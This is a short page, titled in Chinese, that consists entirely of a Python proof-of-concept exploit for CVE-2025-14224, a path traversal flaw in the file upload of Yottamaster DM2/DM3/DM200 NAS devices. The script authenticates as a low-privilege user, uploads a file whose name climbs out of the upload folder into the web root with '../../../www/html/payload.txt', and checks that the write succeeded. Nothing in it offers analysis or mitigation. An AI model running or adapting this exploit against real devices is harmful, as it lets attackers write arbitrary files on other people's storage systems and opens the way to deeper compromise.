CVE-2025-14224 Yottamaster NAS文件上传路径遍历漏洞

import requests import urllib.parse # CVE-2025-14224 PoC - Path Traversal in Yottamaster NAS File Upload # Target: Yottamaster DM2/DM3/DM200 (versions up to 1.2.23/1.9.12) TARGET = "http://target-ip:8080" # Replace with target IP USERNAME = "user" # Low-privilege user PASSWORD = "password" def exploit_path_traversal(): """ Upload file via path traversal to write outside intended directory """ session = requests.Session() # Step 1: Authentication login_data = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET}/api/login", data=login_data) # Step 2: Prepare malicious filename with path traversal # Target: Write to web root directory malicious_filename = "../../../www/html/payload.txt" # Step 3: Upload file with path traversal payload files = { "file": (malicious_filename, b"Malicious content", "text/plain") } response = session.post( f"{TARGET}/api/upload", files=files ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Step 4: Verify file was written to target location verify = session.get(f"{TARGET}/payload.txt") if verify.status_code == 200: print("[+] Exploit successful - File written via path traversal") else: print("[-] Exploit failed or file path incorrect") if __name__ == "__main__": exploit_path_traversal()